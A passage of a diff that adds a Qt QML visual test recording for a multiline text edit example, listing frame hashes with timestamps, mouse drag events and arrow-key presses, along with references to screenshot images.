+ hash: "34f7bd61afb22009181d79841bc59fa1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 62; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5952
+ hash: "23ea9471d132daab6193b0809c8bd98e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5968
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 97
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5984
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 101
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 105
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6000
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 111
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6016
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 116
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6032
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6048
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 124
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6064
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 132
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6080
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 134
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6096
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 138
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 140
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6112
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 141
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6128
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6144
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6160
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6176
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6192
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Frame {
+ msec: 6208
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Frame {
+ msec: 6224
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Frame {
+ msec: 6240
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Frame {
+ msec: 6256
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6272
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6288
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6304
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6320
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 63; y: 98
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6336
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6352
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 72
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6368
+ hash: "e35d1c5a15474388727942b41fdcec0f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 58
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6384
+ hash: "1b24d0c17446cfadc351127f842ac5fd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6400
+ hash: "1b24d0c17446cfadc351127f842ac5fd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6416
+ hash: "f0b06fefc9e18b836ffe081215efe584"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 16
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6432
+ hash: "9ed30cb00df82cce04e8c8b76d056013"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6448
+ hash: "4d37a34962e019f47201da6baddebca8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: -23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6464
+ hash: "cd83055403901b1a7a99dfda3798ca7e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6480
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6496
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6512
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6528
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6544
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6560
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6576
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6592
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Frame {
+ msec: 6608
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Frame {
+ msec: 6624
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Frame {
+ msec: 6640
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Frame {
+ msec: 6656
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Frame {
+ msec: 6672
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6688
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 44; y: -42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6704
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 44; y: -39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6720
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: -28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6736
+ image: "usingMultilineEdit.7.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6752
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: -18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: -14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6768
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: -10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6784
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: -3
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6800
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: -1
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 0
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6816
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 3
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6832
+ hash: "71cdc5a9144234556630430361779ff7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6848
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6864
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6880
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 55; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6896
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 6912
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 6928
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 6944
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 6960
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 6976
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 6992
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 7008
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 7024
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 7040
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 7056
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 7072
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 7088
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 59; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7104
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7120
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7136
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7152
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7168
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 59; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7184
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7200
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7216
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7232
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7248
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7264
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7280
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7296
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7312
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7328
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7344
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7360
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7376
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7392
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7408
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7424
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7440
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7456
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7472
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7488
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7504
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7520
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7536
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7552
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Frame {
+ msec: 7568
+ hash: "df53c57d83cf38d96893f379d8a0c1a7"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7584
+ hash: "bdc721eb51436b121826d4163cbf596f"
+ }
+ Frame {
+ msec: 7600
+ hash: "bdc721eb51436b121826d4163cbf596f"
+ }
+ Frame {
+ msec: 7616
+ hash: "bdc721eb51436b121826d4163cbf596f"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7632
+ hash: "bdc721eb51436b121826d4163cbf596f"
+ }
+ Frame {
+ msec: 7648
+ hash: "bdc721eb51436b121826d4163cbf596f"
+ }
+ Frame {
+ msec: 7664
+ hash: "bdc721eb51436b121826d4163cbf596f"
+ }
+ Frame {
+ msec: 7680
+ hash: "bdc721eb51436b121826d4163cbf596f"
+ }
+ Frame {
+ msec: 7696
+ image: "usingMultilineEdit.8.png"
+ }
+ Frame {
+ msec: 7712
+ hash: "bdc721eb51436b121826d4163cbf596f"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7728
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7744
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7760
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7776
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7792
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7808
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7824
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7840
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7856
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7872
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7888
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7904
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7920
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7936
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Frame {
+ msec: 7952
+ hash: "7d378c1c1e54d2d13b602f1cf1a56a2f"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 7968
+ hash: "bc028efd0fc3d999269d047fe4d64e27"
+ }
+ Frame {
+ msec: 7984
+ hash: "bc028efd0fc3d999269d047fe4d64e27"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 8000
+ hash: "b18fe0d9cfed62d53e152e3f294dc8b3"
+ }
+ Frame {
+ msec: 8016
+ hash: "b18fe0d9cfed62d53e152e3f294dc8b3"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 8032
+ hash: "eca1a9d5eed543b913d1d2b19cef3286"
+ }
+ Frame {
+ msec: 8048
+ hash: "eca1a9d5eed543b913d1d2b19cef3286"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: true
+ count: 1
+ }
+ Frame {
+ msec: 8064
+ hash: "01f1ac2c199086a701a784a3a47fdb71"
+ }
+ Frame {
+ msec: 8080
+ hash: "01f1ac2c199086a701a784a3a47fdb71"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8096
+ hash: "01f1ac2c199086a701a784a3a47fdb71"
+ }
+ Frame {
+ msec: 8112
+ hash: "01f1ac2c199086a701a784a3a47fdb71"
+ }
+ Frame {
+ msec: 8128
+ hash: "01f1ac2c199086a701a784a3a47fdb71"
+ }
+ Frame {
+ msec: 8144
+ hash: "01f1ac2c199086a701a784a3a47fdb71"
+ }
+ Frame {
+ msec: 8160
+ hash: "01f1ac2c199086a701a784a3a47fdb71"
+ }
+ Frame {
+ msec: 8176
+ hash: "01f1ac2c199086a701a784a3a47fdb71"
+ }
+ Frame {
+ msec: 8192
+ hash: "01f1ac2c199086a701a784a3a47fdb71"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8208
+ hash: "c8254066bc7b4bae0934425226d59a2b"
+ }
+ Frame {
+ msec: 8224
+ hash: "c8254066bc7b4bae0934425226d59a2b"
+ }
+ Frame {
+ msec: 8240
+ hash: "c8254066bc7b4bae0934425226d59a2b"
+ }
+ Frame {
+ msec: 8256
+ hash: "c8254066bc7b4bae0934425226d59a2b"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8272
+ hash: "c8254066bc7b4bae0934425226d59a2b"
+ }
+ Frame {
+ msec: 8288
+ hash: "c8254066bc7b4bae0934425226d59a2b"
+ }
+ Frame {
+ msec: 8304
+ hash: "c8254066bc7b4bae0934425226d59a2b"
+ }
+ Frame {
+ msec: 8320
+ hash: "c8254066bc7b4bae0934425226d59a2b"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 8336
+ hash: "7bd48f4441ba1971bf49cb5b9e174935"
+ }
+ Frame {
+ msec: 8352
